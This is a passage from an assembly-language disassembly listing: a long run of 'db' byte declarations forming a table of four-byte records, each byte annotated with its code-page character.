		db 0A1h	; ║
		db  2Ch	; ,
		db  0Bh	;  
		db  97h	; ≈
		db 0A4h	; є
		db    1	;  
		db    1	;  
		db  97h	; ≈
		db 0A4h	; є
		db    1	;  
		db    7	;  
		db  97h	; ≈
		db 0A9h	; ╘
		db  1Fh	;  
		db  0Ah	;  
		db  97h	; ≈
		db  11h	;  
		db    3	;  
		db 0C3h	; ц
		db  97h	; ≈
		db  11h	;  
		db    4	;  
		db    2	;  
		db  97h	; ≈
		db 0AAh	; ╙
		db 0F0h	; П
		db    3	;  
		db  97h	; ≈
		db 0AAh	; ╙
		db 0F0h	; П
		db    4	;  
		db  97h	; ≈
		db 0B6h	; І
		db  88h	; ┬
		db    1	;  
		db  97h	; ≈
		db 0BCh	; ╪
		db    3	;  
		db    1	;  
		db  97h	; ≈
		db 0BCh	; ╪
		db    3	;  
		db    2	;  
		db  97h	; ≈
		db 0BDh	; Ґ
		db    0	;  
		db  19h	;  
		db  97h	; ≈
		db 0BDh	; Ґ
		db  0Dh	;  
		db  19h	;  
		db  97h	; ≈
		db 0BEh	; Ў
		db 0FEh	; Ч
		db 0FAh	; З
		db  97h	; ≈
		db 0BFh	; ©
		db    1	;  
		db  0Ah	;  
		db  97h	; ≈
		db 0C1h	; а
		db 0A1h	; ║
		db  29h	; )
		db  97h	; ≈
		db 0C1h	; а
		db 0A1h	; ║
		db  2Ah	; *
		db  97h	; ≈
		db 0C4h	; д
		db    0	;  
		db  25h	; %
		db  97h	; ≈
		db 0C4h	; д
		db    0	;  
		db  26h	; &
		db  97h	; ≈
		db 0C5h	; е
		db    0	;  
		db  25h	; %
		db  97h	; ≈
		db 0C5h	; е
		db    0	;  
		db  44h	; D
		db  97h	; ≈
		db 0C5h	; е
		db  44h	; D
		db 0A2h	; ╒
		db  97h	; ≈
		db 0C6h	; ф
		db    0	;  
		db  25h	; %
		db  97h	; ≈
		db 0C6h	; ф
		db    0	;  
		db  44h	; D
		db  97h	; ≈
		db 0C9h	; и
		db    0	;  
		db  44h	; D
		db  97h	; ≈
		db 0C9h	; и
		db  49h	; I
		db    2	;  
		db  97h	; ≈
		db 0CAh	; й
		db    0	;  
		db  44h	; D
		db  97h	; ≈
		db 0CBh	; к
		db    0	;  
		db  44h	; D
		db  97h	; ≈
		db 0D4h	; т
		db  47h	; G
		db  0Bh	;  
		db  97h	; ≈
		db 0D6h	; ж
		db 0B4h	; Є
		db  6Eh	; n
		db  97h	; ≈
		db 0D6h	; ж
		db 0B4h	; Є
		db  78h	; x
		db  97h	; ≈
		db  56h	; V
		db  4Fh	; O
		db  0Ah	;  
		db  97h	; ≈
		db  57h	; W
		db    9	;  
		db    1	;  
		db  97h	; ≈
		db  5Ch	; \
		db    2	;  
		db  22h	; "
		db  97h	; ≈
		db  5Ch	; \
		db    2	;  
		db  23h	; #
		db  97h	; ≈
		db  5Eh	; ^
		db    2	;  
		db    2	;  
		db  97h	; ≈
		db  61h	; a
		db    1	;  
		db    5	;  
		db  97h	; ≈
		db  61h	; a
		db 0FCh	; Э
		db    1	;  
		db  97h	; ≈
		db  63h	; c
		db  7Dh	; }
		db    2	;  
		db  97h	; ≈
		db  63h	; c
		db  7Dh	; }
		db    3	;  
		db  97h	; ≈
		db  63h	; c
		db 0FAh	; З
		db    2	;  
		db  98h	; ≤
		db    1	;  
		db    1	;  
		db 0D0h	; п
		db  98h	; ≤
		db    1	;  
		db    1	;  
		db  16h	;  
		db  98h	; ≤
		db  0Ah	;  
		db    1	;  
		db    1	;  
		db  98h	; ≤
		db  65h	; e
		db  65h	; e
		db  65h	; e
		db  98h	; ≤
		db  65h	; e
		db    8	;  
		db    1	;  
		db  98h	; ≤
		db  67h	; g
		db  67h	; g
		db  67h	; g
		db  98h	; ≤
		db  67h	; g
		db    8	;  
		db    1	;  
		db  98h	; ≤
		db  69h	; i
		db    2	;  
		db    2	;  
		db  98h	; ≤
		db  6Ah	; j
		db    1	;  
		db  35h	; 5
		db  98h	; ≤
		db  70h	; p
		db  80h	; ─
		db    1	;  
		db  98h	; ≤
		db  75h	; u
		db    1	;  
		db    6	;  
		db  98h	; ≤
		db  75h	; u
		db    1	;  
		db    8	;  
		db  98h	; ≤
		db  87h	; ┤
		db 0EBh	; К
		db    5	;  
		db  98h	; ≤
		db  88h	; ┬
		db  50h	; P
		db  6Eh	; n
		db  98h	; ≤
		db  88h	; ┬
		db  50h	; P
		db  78h	; x
		db  98h	; ≤
		db  8Ch	; ▄
		db  1Ch	;  
		db 0C9h	; и
		db  98h	; ≤
		db  94h	; ■
		db  0Ah	;  
		db 0E5h	; Е
		db  98h	; ≤
		db  95h	; ∙
		db  28h	; (
		db    2	;  
		db  98h	; ≤
		db  0Fh	;  
		db  1Eh	;  
		db  1Bh	;  
		db  98h	; ≤
		db  0Fh	;  
		db  29h	; )
		db  20h	;  
		db  98h	; ≤
		db  0Fh	;  
		db  29h	; )
		db  29h	; )
		db  98h	; ≤
		db  98h	; ≤
		db  60h	; `
		db    1	;  
		db  98h	; ≤
		db  9Ch	; °
		db    2	;  
		db    7	;  
		db  98h	; ≤
		db  9Eh	; ·
		db  10h	;  
		db  30h	; 0
		db  98h	; ≤
		db  9Eh	; ·
		db    2	;  
		db  30h	; 0
		db  98h	; ≤
		db  9Eh	; ·
		db  24h	; $
		db  30h	; 0
		db  98h	; ≤
		db 0A0h	; ═
		db    1	;  
		db    1	;  
		db  98h	; ≤
		db 0A0h	; ═
		db    1	;  
		db    3	;  
		db  98h	; ≤
		db 0A0h	; ═
		db  3Bh	; ;
		db  78h	; x
		db  98h	; ≤
		db 0A3h	; ё
		db  9Fh	; ÷
		db 0E8h	; Х
		db  98h	; ≤
		db 0A3h	; ё
		db  9Fh	; ÷
		db 0E9h	; И
		db  98h	; ≤
		db 0A3h	; ё
		db  9Fh	; ÷
		db 0ECh	; Л
		db  98h	; ≤
		db  12h	;  
		db  30h	; 0
		db    3	;  
		db  98h	; ≤
		db    2	;  
		db  15h	;  
		db    1	;  
		db  98h	; ≤
		db    2	;  
		db 0FDh	; Щ
		db  64h	; d
		db  98h	; ≤
		db 0E2h	; Б
		db  40h	; @
		db  0Ah	;  
		db  98h	; ≤
		db 0E2h	; Б
		db  40h	; @
		db    9	;  
		db  98h	; ≤
		db 0E4h	; Д
		db  22h	; "
		db    1	;  
		db  98h	; ≤
		db 0E4h	; Д
		db  22h	; "
		db  10h	;  
		db  98h	; ≤
		db    3	;  
		db 0FAh	; З
		db    1	;  
		db  98h	; ≤
		db    3	;  
		db 0FAh	; З
		db    2	;  
		db  98h	; ≤
		db  1Eh	;  
		db    2	;  
		db  78h	; x
		db  98h	; ≤
		db  1Fh	;  
		db 0E3h	; Ц
		db    2	;  
		db  98h	; ≤
		db  1Fh	;  
		db 0E3h	; Ц
		db    3	;  
		db  98h	; ≤
		db  21h	; !
		db    2	;  
		db    1	;  
		db  98h	; ≤
		db    4	;  
		db  14h	;  
		db    3	;  
		db  98h	; ≤
		db  2Ah	; *
		db  3Eh	; >
		db    1	;  
		db  98h	; ≤
		db    5	;  
		db  80h	; ─
		db  13h	;  
		db  98h	; ≤
		db    5	;  
		db  80h	; ─
		db  15h	;  
		db  98h	; ≤
		db  34h	; 4
		db    2	;  
		db    2	;  
		db  98h	; ≤
		db  41h	; A
		db 0A5h	; ╔
		db    5	;  
		db  98h	; ≤
		db  41h	; A
		db  21h	; !
		db  0Ah	;  
		db  98h	; ≤
		db  42h	; B
		db  73h	; s
		db    1	;  
		db  98h	; ≤
		db  42h	; B
		db  74h	; t
		db    1	;  
		db  98h	; ≤
		db  47h	; G
		db    0	;  
		db    1	;  
		db  98h	; ≤
		db  47h	; G
		db    0	;  
		db    2	;  
		db  98h	; ≤
		db  4Ah	; J
		db  10h	;  
		db  0Ch	;  
		db  98h	; ≤
		db  4Ah	; J
		db  10h	;  
		db  0Eh	;  
		db  98h	; ≤
		db  4Bh	; K
		db  80h	; ─
		db    1	;  
		db  98h	; ≤
		db  4Bh	; K
		db  80h	; ─
		db    2	;  
		db  98h	; ≤
		db  4Ch	; L
		db    0	;  
		db  82h	; ┌
		db  98h	; ≤
		db  4Eh	; N
		db  80h	; ─
		db  4Eh	; N
		db  98h	; ≤
		db  4Eh	; N
		db  80h	; ─
		db  4Fh	; O
		db  98h	; ≤
		db  4Fh	; O
		db  69h	; i
		db  69h	; i
		db  98h	; ≤
		db  50h	; P
		db  38h	; 8
		db 0C9h	; и
		db  98h	; ≤
		db  51h	; Q
		db    1	;  
		db  0Ah	;  
		db  98h	; ≤
		db  51h	; Q
		db    1	;  
		db  11h	;  
		db  98h	; ≤
		db  51h	; Q
		db    1	;  
		db  19h	;  
		db  98h	; ≤
		db  53h	; S
		db    2	;  
		db    8	;  
		db  98h	; ≤
		db  53h	; S
		db    8	;  
		db    3	;  
		db  98h	; ≤
		db  54h	; T
		db 0FDh	; Щ
		db    2	;  
		db  98h	; ≤
		db  55h	; U
		db  85h	; ┘
		db  0Eh	;  
		db  98h	; ≤
		db  55h	; U
		db    3	;  
		db    3	;  
		db  98h	; ≤
		db  58h	; X
		db    1	;  
		db    5	;  
		db  98h	; ≤
		db  58h	; X
		db    1	;  
		db  3Dh	; =
		db  98h	; ≤
		db  59h	; Y
		db  0Fh	;  
		db  0Ah	;  
		db  98h	; ≤
		db    9	;  
		db  1Ch	;  
		db 0F9h	; Ы
		db  98h	; ≤
		db  5Bh	; [
		db  0Bh	;  
		db    1	;  
		db  98h	; ≤
		db  5Ch	; \
		db    1	;  
		db  0Ah	;  
		db  98h	; ≤
		db  5Dh	; ]
		db 0FDh	; Щ
		db    5	;  
		db  98h	; ≤
		db  5Eh	; ^
		db    1	;  
		db  0Ah	;  
		db  98h	; ≤
		db  5Eh	; ^
		db    1	;  
		db  18h	;  
		db  98h	; ≤
		db  5Eh	; ^
		db    2	;  
		db  0Ah	;  
		db  98h	; ≤
		db  5Fh	; _
		db  20h	;  
		db    2	;  
		db  98h	; ≤
		db  60h	; `
		db  81h	; │
		db    3	;  
		db  98h	; ≤
		db  60h	; `
		db  25h	; %
		db  35h	; 5
		db  98h	; ≤
		db  61h	; a
		db    1	;  
		db  32h	; 2
		db  98h	; ≤
		db  62h	; b
		db  20h	;  
		db  14h	;  
		db  98h	; ≤
		db  63h	; c
		db    1	;  
		db    6	;  
		db  99h	; ≥
		db    1	;  
		db    2	;  
		db  0Ch	;  
		db  99h	; ≥
		db  0Ah	;  
		db  60h	; `
		db    5	;  
		db  99h	; ≥
		db  0Ah	;  
		db  60h	; `
		db    6	;  
		db  99h	; ≥
		db  68h	; h
		db    1	;  
		db    2	;  
		db  99h	; ≥
		db  68h	; h
		db  88h	; ┬
		db    2	;  
		db  99h	; ≥
		db  69h	; i
		db  64h	; d
		db  64h	; d
		db  99h	; ≥
		db  6Ah	; j
		db    4	;  
		db    1	;  
		db  99h	; ≥
		db  6Bh	; k
		db  29h	; )
		db  9Ch	; °
		db  99h	; ≥
		db  6Bh	; k
		db  29h	; )
		db  1Ch	;  
		db  99h	; ≥
		db  6Dh	; m
		db  0Ah	;  
		db  0Bh	;  
		db  99h	; ≥
		db  0Bh	;  
		db  0Bh	;  
		db    3	;  
		db  99h	; ≥
		db  6Eh	; n
		db  22h	; "
		db  0Ah	;  
		db  99h	; ≥
		db  6Fh	; o
		db 0E2h	; Б
		db  0Ah	;  
		db  99h	; ≥
		db  6Fh	; o
		db 0E2h	; Б
		db  0Fh	;  
		db  99h	; ≥
		db  71h	; q
		db    5	;  
		db  15h	;  
		db  99h	; ≥
		db  12h	;  
		db    8	;  
		db    1	;  
		db  99h	; ≥
		db  13h	;  
		db    1	;  
		db 0FEh	; Ч
		db  99h	; ≥
		db  13h	;  
		db 0FAh	; З
		db  64h	; d
		db  99h	; ≥
		db  13h	;  
		db  28h	; (
		db 0E6h	; Ф
		db  99h	; ≥
		db  14h	;  
		db  18h	;  
		db  47h	; G
		db  99h	; ≥
		db  18h	;  
		db  5Ah	; Z
		db  0Fh	;  
		db  99h	; ≥
		db  21h	; !
		db  20h	;  
		db  51h	; Q
		db  99h	; ≥
		db  27h	; '
		db 0C2h	; б
		db  0Ah	;  
		db  99h	; ≥
		db  27h	; '
		db 0C2h	; б
		db  1Ah	;  
		db  99h	; ≥
		db    4	;  
		db  39h	; 9
		db    5	;  
		db  99h	; ≥
		db  2Ah	; *
		db  10h	;  
		db    1	;  
		db  99h	; ≥
		db  2Ah	; *
		db  10h	;  
		db    9	;  
		db  99h	; ≥
		db  2Dh	; -
		db  50h	; P
		db  10h	;  
		db  99h	; ≥
		db  2Dh	; -
		db  50h	; P
		db  11h	;  
		db  99h	; ≥
		db  2Eh	; .
		db 0FAh	; З
		db  77h	; w
		db  99h	; ≥
		db  5Ah	; Z
		db    2	;  
		db    1	;  
		db  99h	; ≥
		db  5Ah	; Z
		db    2	;  
		db  0Fh	;  
		db  99h	; ≥
		db  5Ch	; \
		db    5	;  
		db    3	;  
		db  99h	; ≥
		db  5Eh	; ^
		db  33h	; 3
		db    2	;  
		db  99h	; ≥
		db  60h	; `
		db    1	;  
		db    1	;  
		db  9Ah	;  
		db  0Bh	;  
		db  88h	; ┬
		db  82h	; ┌
		db  9Ah	;  
		db  0Bh	;  
		db  88h	; ┬
		db    2	;  
		db  9Ah	;  
		db  0Bh	;  
		db  88h	; ┬
		db  22h	; "
		db  9Ah	;  
		db  0Bh	;  
		db  88h	; ┬
		db  42h	; B
		db  9Ah	;  
		db  0Bh	;  
		db  88h	; ┬
		db  62h	; b
		db  9Ah	;  
		db  0Bh	;  
		db  91h	; ▒
		db    2	;  
		db  9Ah	;  
		db  0Bh	;  
		db  92h	; ▓
		db    2	;  
		db  9Ah	;  
		db  0Bh	;  
		db  93h	; ⌠
		db    2	;  
		db  9Ah	;  
		db  0Bh	;  
		db  59h	; Y
		db 0B1h	; ╠
		db  9Ah	;  
		db  0Bh	;  
		db  59h	; Y
		db 0B9h	; ╧
		db  9Ah	;  
		db  0Fh	;  
		db 0FAh	; З
		db 0A6h	; і
		db  9Ah	;  
		db  0Fh	;  
		db 0FAh	; З
		db 0AAh	; ╙
		db  9Ah	;  
		db  0Fh	;  
		db 0FAh	; З
		db 0AEh	; ў
		db  9Ah	;  
		db  0Fh	;  
		db 0FBh	; Ш
		db 0A6h	; і
		db  9Ah	;  
		db  0Fh	;  
		db 0FBh	; Ш
		db 0AAh	; ╙
		db  9Ah	;  
		db  0Fh	;  
		db 0FBh	; Ш
		db 0AEh	; ў
		db  9Ah	;  
		db  0Fh	;  
		db 0FCh	; Э
		db 0A6h	; і
		db  9Ah	;  
		db  0Fh	;  
		db 0FCh	; Э
		db 0AAh	; ╙
		db  9Ah	;  
		db  0Fh	;  
		db 0FCh	; Э
		db 0AEh	; ў
		db  9Ah	;  
		db  20h	;  
		db  69h	; i
		db  1Eh	;  
		db  9Ah	;  
		db  20h	;  
		db  69h	; i
		db  22h	; "
		db  9Ah	;  
		db  20h	;  
		db  6Bh	; k
		db  1Eh	;  
		db  9Ah	;  
		db  20h	;  
		db  6Bh	; k
		db  22h	; "
		db  9Ah	;  
		db  20h	;  
		db  6Dh	; m
		db  1Eh	;  
		db  9Ah	;  
		db  21h	; !
		db  71h	; q
		db  16h	;  
		db  9Ah	;  
		db  21h	; !
		db  3Fh	; ?
		db 0FEh	; Ч
		db  9Bh	; ⌡
		db  66h	; f
		db  81h	; │
		db    1	;  
		db  9Bh	; ⌡
		db  68h	; h
		db 0F0h	; П
		db  0Ah	;  
		db  9Bh	; ⌡
		db  68h	; h
		db 0F0h	; П
		db  0Bh	;  
		db  9Bh	; ⌡
		db  69h	; i
		db    2	;  
		db  0Ah	;  
		db  9Bh	; ⌡
		db  0Dh	;  
		db  30h	; 0
		db    3	;  
		db  9Bh	; ⌡
		db  83h	; ┐
		db    1	;  
		db 0C8h	; х
		db  9Bh	; ⌡
		db  83h	; ┐
		db  61h	; a
		db 0C8h	; х
		db  9Bh	; ⌡
		db  87h	; ┤
		db    1	;  
		db    1	;  
		db  9Bh	; ⌡
		db  87h	; ┤
		db  0Bh	;  
		db  82h	; ┌
		db  9Bh	; ⌡
		db  89h	; ┴
		db  22h	; "
		db    1	;  
		db  9Bh	; ⌡
		db  89h	; ┴
		db  24h	; $
		db  12h	;  
		db  9Bh	; ⌡
		db  8Ah	; ┼
		db    1	;  
		db    5	;  
		db  9Bh	; ⌡
		db  9Eh	; ·
		db  66h	; f
		db    7	;  
		db  9Bh	; ⌡
		db  9Eh	; ·
		db  63h	; c
		db    2	;  
		db  9Bh	; ⌡
		db 0B9h	; ╧
		db    1	;  
		db    2	;  
		db  9Bh	; ⌡
		db 0B9h	; ╧
		db    1	;  
		db    5	;  
		db  9Bh	; ⌡
		db 0BBh	; ╩
		db    2	;  
		db  0Bh	;  
		db  9Bh	; ⌡
		db 0C2h	; б
		db 0C8h	; х
		db  14h	;  
		db  9Bh	; ⌡
		db 0C6h	; ф
		db  14h	;  
		db  14h	;  
		db  9Bh	; ⌡
		db 0C6h	; ф
		db    5	;  
		db  0Ch	;  
		db  9Bh	; ⌡
		db 0CEh	; н
		db  0Bh	;  
		db  20h	;  
		db  9Bh	; ⌡
		db 0CEh	; н
		db  0Fh	;  
		db  1Eh	;  
		db  9Bh	; ⌡
		db 0CFh	; о
		db  64h	; d
		db  1Fh	;  
		db  9Bh	; ⌡
		db 0CFh	; о
		db  64h	; d
		db  20h	;  
		db  9Bh	; ⌡
		db 0CFh	; о
		db  64h	; d
		db  21h	; !
		db  9Bh	; ⌡
		db 0D2h	; р
		db  0Ch	;  
		db    9	;  
		db  9Bh	; ⌡
		db 0D4h	; т
		db    1	;  
		db  0Dh	;  
		db  9Bh	; ⌡
		db 0D4h	; т
		db    1	;  
		db    5	;  
		db  9Bh	; ⌡
		db 0DFh	; ъ
		db    2	;  
		db    2	;  
		db  9Bh	; ⌡
		db 0E1h	; А
		db    6	;  
		db    2	;  
		db  9Bh	; ⌡
		db 0E2h	; Б
		db  0Ah	;  
		db 0CCh	; л
		db  9Bh	; ⌡
		db 0E5h	; Е
		db    1	;  
		db    5	;  
		db  9Bh	; ⌡
		db 0E5h	; Е
		db    1	;  
		db  45h	; E
		db  9Bh	; ⌡
		db 0E5h	; Е
		db  7Eh	; ~
		db  43h	; C
		db  9Bh	; ⌡
		db 0E5h	; Е
		db    2	;  
		db 0B5h	; ╣
		db  9Bh	; ⌡
		db 0E6h	; Ф
		db  0Ah	;  
		db    2	;  
		db  9Bh	; ⌡
		db 0E6h	; Ф
		db  14h	;  
		db  0Ah	;  
		db  9Bh	; ⌡
		db 0E9h	; И
		db    1	;  
		db 0E9h	; И
		db  9Bh	; ⌡
		db 0E9h	; И
		db    1	;  
		db    4	;  
		db  9Bh	; ⌡
		db 0EEh	; Н
		db    8	;  
		db  11h	;  
		db  9Bh	; ⌡
		db 0F6h	; Ж
		db    1	;  
		db  14h	;  
		db  9Bh	; ⌡
		db 0F7h	; В
		db 0A6h	; і
		db    2	;  
		db  9Bh	; ⌡
		db 0F7h	; В
		db  13h	;  
		db    2	;  
		db  9Bh	; ⌡
		db 0FAh	; З
		db  80h	; ─
		db    1	;  
		db  9Bh	; ⌡
		db 0FCh	; Э
		db  88h	; ┬
		db  12h	;  
		db  9Bh	; ⌡
		db 0FCh	; Э
		db  88h	; ┬
		db  15h	;  
		db  9Bh	; ⌡
		db 0FCh	; Э
		db  97h	; ≈
		db  53h	; S
		db  9Bh	; ⌡
		db 0FCh	; Э
		db  10h	;  
		db    7	;  
		db  9Bh	; ⌡
		db 0FDh	; Щ
		db    1	;  
		db    2	;  
		db  9Bh	; ⌡
		db  1Fh	;  
		db 0FBh	; Ш
		db 0AFh	; ╞
		db  9Bh	; ⌡
		db  24h	; $
		db    3	;  
		db  1Eh	;  
		db  9Bh	; ⌡
		db  25h	; %
		db  32h	; 2
		db  64h	; d
		db  9Bh	; ⌡
		db  26h	; &
		db  0Ah	;  
		db    9	;  
		db  9Bh	; ⌡
		db  2Ah	; *
		db    1	;  
		db    7	;  
		db  9Bh	; ⌡
		db  2Ah	; *
		db    1	;  
		db  59h	; Y
		db  9Bh	; ⌡
		db  2Bh	; +
		db  80h	; ─
		db    2	;  
		db  9Bh	; ⌡
		db  2Bh	; +
		db  81h	; │
		db  14h	;  
		db  9Bh	; ⌡
		db  2Ch	; ,
		db  50h	; P
		db  17h	;  
		db  9Bh	; ⌡
		db  2Dh	; -
		db  30h	; 0
		db  64h	; d
		db  9Bh	; ⌡
		db  2Dh	; -
		db  30h	; 0
		db  65h	; e
		db  9Bh	; ⌡
		db  2Fh	; /
		db  20h	;  
		db 0E1h	; А
		db  9Bh	; ⌡
		db  30h	; 0
		db    8	;  
		db 0F8h	; Ь
		db  9Bh	; ⌡
		db  34h	; 4
		db  2Dh	; -
		db  64h	; d
		db  9Bh	; ⌡
		db  34h	; 4
		db  2Eh	; .
		db  35h	; 5
		db  9Bh	; ⌡
		db  35h	; 5
		db    1	;  
		db    1	;  
		db  9Bh	; ⌡
		db  35h	; 5
		db    1	;  
		db    2	;  
		db  9Bh	; ⌡
		db  36h	; 6
		db    1	;  
		db    1	;  
		db  9Bh	; ⌡
		db  39h	; 9
		db 0FEh	; Ч
		db    2	;  
		db  9Bh	; ⌡
		db  39h	; 9
		db 0FEh	; Ч
		db    3	;  
		db  9Bh	; ⌡
		db  3Ah	; :
		db  80h	; ─
		db    1	;  
		db  9Bh	; ⌡
		db  44h	; D
		db    1	;  
		db  64h	; d
		db  9Bh	; ⌡
		db  44h	; D
		db    1	;  
		db  65h	; e
		db  9Bh	; ⌡
		db  45h	; E
		db    1	;  
		db    5	;  
		db  9Bh	; ⌡
		db  45h	; E
		db 0FEh	; Ч
		db    5	;  
		db  9Bh	; ⌡
		db    7	;  
		db    1	;  
		db  5Ah	; Z
		db  9Bh	; ⌡
		db  5Ch	; \
		db    1	;  
		db    3	;  
		db  9Ch	; °
		db    1	;  
		db 0F0h	; П
		db  2Ch	; ,
		db  9Ch	; °
		db    1	;  
		db 0F0h	; П
		db  2Dh	; -
		db  9Ch	; °
		db  6Ah	; j
		db 0C0h	; ю
		db  79h	; y
		db  9Ch	; °
		db  74h	; t
		db    2	;  
		db  0Ah	;  
		db  9Ch	; °
		db  76h	; v
		db 0D4h	; т
		db    2	;  
		db  9Ch	; °
		db  0Ch	;  
		db  17h	;  
		db    1	;  
		db  9Ch	; °
		db  0Ch	;  
		db  17h	;  
		db    2	;  
		db  9Ch	; °
		db  0Eh	;  
		db    1	;  
		db  7Ah	; z
		db  9Ch	; °
		db  90h	; ░
		db    4	;  
		db    7	;  
		db  9Ch	; °
		db  92h	; ▓
		db  6Dh	; m
		db 0FAh	; З
		db  9Ch	; °
		db  94h	; ■
		db    1	;  
		db    1	;  
		db  9Ch	; °
		db  97h	; ≈
		db 0FAh	; З
		db  14h	;  
		db  9Ch	; °
		db  99h	; ≥
		db 0FFh	;  
		db 0D2h	; р
		db  9Ch	; °
		db  99h	; ≥
		db 0FFh	;  
		db 0F2h	; Р
		db  9Ch	; °
		db  11h	;  
		db 0FEh	; Ч
		db    3	;  
		db  9Ch	; °
		db  11h	;  
		db    5	;  
		db    2	;  
		db  9Ch	; °
		db  11h	;  
		db    8	;  
		db    1	;  
		db  9Ch	; °
		db  12h	;  
		db  16h	;  
		db    3	;  
		db  9Ch	; °
		db  13h	;  
		db    1	;  
		db 0FAh	; З
		db  9Ch	; °
		db  13h	;  
		db    1	;  
		db 0FBh	; Ш
		db  9Ch	; °
		db  15h	;  
		db    1	;  
		db    2	;  
		db  9Ch	; °
		db  18h	;  
		db    1	;  
		db    1	;  
		db  9Ch	; °
		db  1Ah	;  
		db    1	;  
		db    1	;  
		db  9Ch	; °
		db  1Bh	;  
		db  12h	;  
		db  10h	;  
		db  9Ch	; °
		db  1Bh	;  
		db    8	;  
		db  10h	;  
		db  9Ch	; °
		db  1Ch	;  
		db    8	;  
		db    1	;  
		db  9Ch	; °
		db  1Dh	;  
		db    1	;  
		db  32h	; 2
		db  9Ch	; °
		db    3	;  
		db    1	;  
		db    1	;  
		db  9Ch	; °
		db    3	;  
		db    1	;  
		db    3	;  
		db  9Ch	; °
		db    3	;  
		db    1	;  
		db    8	;  
		db  9Ch	; °
		db  23h	; #
		db  0Eh	;  
		db    2	;  
		db  9Ch	; °
		db  23h	; #
		db  1Fh	;  
		db    1	;  
		db  9Ch	; °
		db  23h	; #
		db  29h	; )
		db    2	;  
		db  9Ch	; °
		db  24h	; $
		db    1	;  
		db  12h	;  
		db  9Ch	; °
		db  24h	; $
		db    1	;  
		db  15h	;  
		db  9Ch	; °
		db  27h	; '
		db  64h	; d
		db    6	;  
		db  9Ch	; °
		db  2Ah	; *
		db    5	;  
		db 0EAh	; Й
		db  9Ch	; °
		db  2Bh	; +
		db  64h	; d
		db 0FEh	; Ч
		db  9Ch	; °
		db  2Eh	; .
		db  80h	; ─
		db  0Ah	;  
		db  9Ch	; °
		db  30h	; 0
		db 0FEh	; Ч
		db    3	;  
		db  9Ch	; °
		db  32h	; 2
		db  0Bh	;  
		db  6Eh	; n
		db  9Ch	; °
		db  32h	; 2
		db  0Bh	;  
		db  63h	; c
		db  9Ch	; °
		db  34h	; 4
		db    1	;  
		db    3	;  
		db  9Ch	; °
		db  36h	; 6
		db 0FEh	; Ч
		db    2	;  
		db  9Ch	; °
		db  3Eh	; >
		db    8	;  
		db    1	;  
		db  9Ch	; °
		db  3Fh	; ?
		db    1	;  
		db  1Ah	;  
		db  9Ch	; °
		db  3Fh	; ?
		db  82h	; ┌
		db  64h	; d
		db  9Ch	; °
		db  3Fh	; ?
		db  82h	; ┌
		db  4Bh	; K
		db  9Ch	; °
		db  3Fh	; ?
		db  1Dh	;  
		db 0E9h	; И
		db  9Ch	; °
		db  49h	; I
		db 0FEh	; Ч
		db    2	;  
		db  9Ch	; °
		db  4Bh	; K
		db 0B4h	; Є
		db 0A2h	; ╒
		db  9Ch	; °
		db  4Ch	; L
		db  4Bh	; K
		db  6Eh	; n
		db  9Ch	; °
		db  50h	; P
		db    1	;  
		db 0FEh	; Ч
		db  9Ch	; °
		db  50h	; P
		db    1	;  
		db    4	;  
		db  9Ch	; °
		db  50h	; P
		db    3	;  
		db    3	;  
		db  9Ch	; °
		db  53h	; S
		db 0FEh	; Ч
		db    8	;  
		db  9Ch	; °
		db  62h	; b
		db    1	;  
		db    1	;  
		db  9Ch	; °
		db  62h	; b
		db    4	;  
		db  0Bh	;  
		db  9Dh	; ²
		db    1	;  
		db  18h	;  
		db 0C9h	; и
		db  9Dh	; ²
		db  64h	; d
		db    1	;  
		db    2	;  
		db  9Dh	; ²
		db  64h	; d
		db  2Dh	; -
		db    2	;  
		db  9Dh	; ²
		db  66h	; f
		db    5	;  
		db    2	;  
		db  9Dh	; ²
		db  67h	; g
		db  10h	;  
		db    2	;  
		db  9Dh	; ²
		db  69h	; i
		db  65h	; e
		db    7	;  
		db  9Dh	; ²
		db  6Bh	; k
		db  41h	; A
		db  64h	; d
		db  9Dh	; ²
		db  6Dh	; m
		db  42h	; B
		db    1	;  
		db  9Dh	; ²
		db  6Eh	; n
		db  38h	; 8
		db 0D3h	; с
		db  9Dh	; ²
		db  6Eh	; n
		db  42h	; B
		db    3	;  
		db  9Dh	; ²
		db  71h	; q
		db  12h	;  
		db    3	;  
		db  9Dh	; ²
		db  72h	; r
		db    1	;  
		db    1	;  
		db  9Dh	; ²
		db  72h	; r
		db 0FDh	; Щ
		db 0C5h	; е
		db  9Dh	; ²
		db  76h	; v
		db  1Dh	;  
		db    3	;  
		db  9Dh	; ²
		db  76h	; v
		db  1Dh	;  
		db    4	;  
		db  9Dh	; ²
		db  0Ch	;  
		db 0DDh	; щ
		db    2	;  
		db  9Dh	; ²
		db  7Fh	; 
		db  7Ch	; |
		db 0CBh	; к
		db  9Dh	; ²
		db  0Dh	;  
		db    1	;  
		db    1	;  
		db  9Dh	; ²
		db  0Dh	;  
		db    1	;  
		db    7	;  
		db  9Dh	; ²
		db  84h	; └
		db  6Bh	; k
		db  41h	; A
		db  9Dh	; ²
		db  84h	; └
		db  6Bh	; k
		db  42h	; B
		db  9Dh	; ²
		db  88h	; ┬
		db  0Ah	;  
		db    1	;  
		db  9Dh	; ²
		db  88h	; ┬
		db  0Ah	;  
		db    2	;  
		db  9Dh	; ²
		db  8Ah	; ┼
		db    1	;  
		db    8	;  
		db  9Dh	; ²
		db  0Eh	;  
		db  82h	; ┌
		db    5	;  
		db  9Dh	; ²
		db  0Eh	;  
		db  82h	; ┌
		db    6	;  
		db  9Dh	; ²
		db  8Ch	; ▄
		db    2	;  
		db    2	;  
		db  9Dh	; ²
		db  8Eh	; ▌
		db    8	;  
		db  0Ah	;  
		db  9Dh	; ²
		db  8Fh	; ▐
		db 0FEh	; Ч
		db  15h	;  
		db  9Dh	; ²
		db  91h	; ▒
		db 0DCh	; э
		db    1	;  
		db  9Dh	; ²
		db  95h	; ∙
		db    1	;  
		db    9	;  
		db  9Dh	; ²
		db  96h	; √
		db 0C0h	; ю
		db    2	;  
		db  9Dh	; ²
		db  97h	; ≈
		db    0	;  
		db    1	;  
		db  9Dh	; ²
		db  97h	; ≈
		db    0	;  
		db    2	;  
		db  9Dh	; ²
		db  97h	; ≈
		db  5Fh	; _
		db 0CBh	; к
		db  9Dh	; ²
		db  9Eh	; ·
		db    1	;  
		db    3	;  
		db  9Dh	; ²
		db  9Eh	; ·
		db    1	;  
		db    4	;  
		db  9Dh	; ²
		db  9Fh	; ÷
		db  0Ah	;  
		db  0Ch	;  
		db  9Dh	; ²
		db  10h	;  
		db 0F8h	; Ь
		db    3	;  
		db  9Dh	; ²
		db  10h	;  
		db 0FBh	; Ш
		db    2	;  
		db  9Dh	; ²
